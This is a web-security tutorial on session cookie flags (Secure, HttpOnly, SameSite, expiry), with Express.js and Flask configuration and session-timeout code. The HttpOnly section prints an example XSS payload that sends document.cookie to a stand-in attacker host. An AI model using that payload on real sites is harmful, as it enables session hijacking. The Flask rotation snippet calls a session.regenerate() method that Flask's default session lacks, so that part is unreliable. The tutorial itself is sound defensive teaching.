Session Cookie Attributes

Session Cookie Attributes: Small Flags with Massive Security Impact

Session cookies are the most common mechanism for maintaining user authentication state. A session cookie is a small piece of data sent by the server and stored by the browser, automatically included with every subsequent request to the same origin. Because session cookies are the key to the user's authenticated session, their security attributes are critical.

The Secure Flag

The Secure flag ensures the cookie is only sent over HTTPS connections. Without it, the cookie can be transmitted over unencrypted HTTP, where an attacker on the same network can intercept it.

Set-Cookie: session_id=abc123; Secure

Attack prevented: Network eavesdropping. An attacker on a public Wi-Fi network can intercept unencrypted HTTP traffic and steal session cookies. With the Secure flag, the browser will not send the cookie over HTTP, only over HTTPS.

Real-world scenario: A user logs in over HTTPS, but the application serves some pages over HTTP. Without the Secure flag, the session cookie is transmitted in cleartext when the user navigates to an HTTP page. An attacker on the same network captures the cookie and hijacks the session.

The HttpOnly Flag

The HttpOnly flag prevents client-side JavaScript from accessing the cookie via document.cookie. This is a critical defense against XSS-based session theft.

Set-Cookie: session_id=abc123; HttpOnly

Attack prevented: XSS session theft. If an attacker injects JavaScript into the page (via stored or reflected XSS), the script cannot read the session cookie if it has the HttpOnly flag.

Vulnerable code (without HttpOnly):

// Attacker's XSS payload
fetch('https://evil.com/?c=' + document.cookie);
// Sends session_id=abc123 to the attacker's server

With HttpOnly:

// document.cookie returns empty string or other cookies (not the session cookie)
fetch('https://evil.com/?c=' + document.cookie);
// Sends nothing useful to the attacker

Important limitation: HttpOnly does not prevent the browser from sending the cookie with requests. It only prevents JavaScript from reading it. CSRF attacks still work because the browser automatically includes the cookie.

The SameSite Attribute

The SameSite attribute controls when the cookie is sent with cross-site requests. It has three values:

SameSite=Strict:

• Cookie is never sent with cross-site requests
• Strongest CSRF protection
• Downside: user clicking a link from email arrives without a session cookie (must log in again)

SameSite=Lax (default in modern browsers):

• Cookie is sent with top-level GET requests (e.g., clicking a link)
• Cookie is NOT sent with cross-site POST, PUT, DELETE, or iframe requests
• Balances security and usability

SameSite=None:

• Cookie is sent with all cross-site requests
• Requires Secure flag (HTTPS only)
• Effectively disables CSRF protection for that cookie

Set-Cookie: session_id=abc123; SameSite=Lax

Attack prevented: CSRF. Without SameSite, the browser sends the session cookie with cross-site POST requests, enabling CSRF attacks. With SameSite=Lax, the cookie is not sent with cross-site POST requests.

Expiration and Max-Age

Session cookies should have appropriate expiration times to limit the window of opportunity for session theft:

Session cookies (no expiration):

• Deleted when the browser closes
• Appropriate for sensitive applications (banking, healthcare)

Persistent cookies (with Max-Age or Expires):

• Persist until the expiration date
• Should have a reasonable lifetime (hours to days, not months)
• Should be rotated periodically

Set-Cookie: session_id=abc123; Max-Age=3600; Secure; HttpOnly; SameSite=Lax
# Expires after 1 hour

Complete Secure Cookie Configuration

Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

Additional Attributes

Domain:

• Restricts which domains receive the cookie
• Omit to limit the cookie to the exact host that set it
• Setting Domain=.example.com sends the cookie to all subdomains (increases attack surface)

Partitioned (CHIPS):

• Cookie is partitioned by the top-level site
• Prevents cross-site tracking while allowing embedded iframes to maintain their own sessions

Practical Session Cookie Configuration

Express.js Session Configuration

const session = require('express-session');

app.use(session({
    name: 'sessionId',  // Don't use default 'connect.sid'
    secret: process.env.SESSION_SECRET,  // Strong random secret
    resave: false,
    saveUninitialized: false,
    cookie: {
        secure: true,        // HTTPS only
        httpOnly: true,      // No JavaScript access
        sameSite: 'lax',     // CSRF protection
        maxAge: 3600000,     // 1 hour
        path: '/'
    },
    store: new RedisStore({ client: redisClient })  // Server-side session storage
}));

Flask Session Configuration

from flask import Flask, session
from datetime import timedelta

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)

Session Rotation

Session rotation (issuing a new session ID after login) prevents session fixation attacks:

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    if verify_credentials(username, password):
        # Regenerate session ID to prevent fixation
        session.regenerate()
        session['user_id'] = get_user_id(username)
        session['created_at'] = time.time()
        return redirect('/dashboard')
    
    return 'Invalid credentials', 401

Session Expiration

Implement both idle timeout and absolute timeout:

IDLE_TIMEOUT = 1800      # 30 minutes
ABSOLUTE_TIMEOUT = 28800  # 8 hours

@app.before_request
def check_session_timeout():
    if 'user_id' in session:
        now = time.time()
        
        # Idle timeout
        if now - session.get('last_activity', now) > IDLE_TIMEOUT:
            session.clear()
            return redirect('/login')
        
        # Absolute timeout
        if now - session.get('created_at', now) > ABSOLUTE_TIMEOUT:
            session.clear()
            return redirect('/login')
        
        session['last_activity'] = now

Practice: Configure Secure Cookies

Configure session cookies for a web application that:

1. Only accepts HTTPS connections
2. Must prevent XSS-based session theft
3. Needs to support users clicking links from email (top-level GET requests)
4. Should expire after 30 minutes of inactivity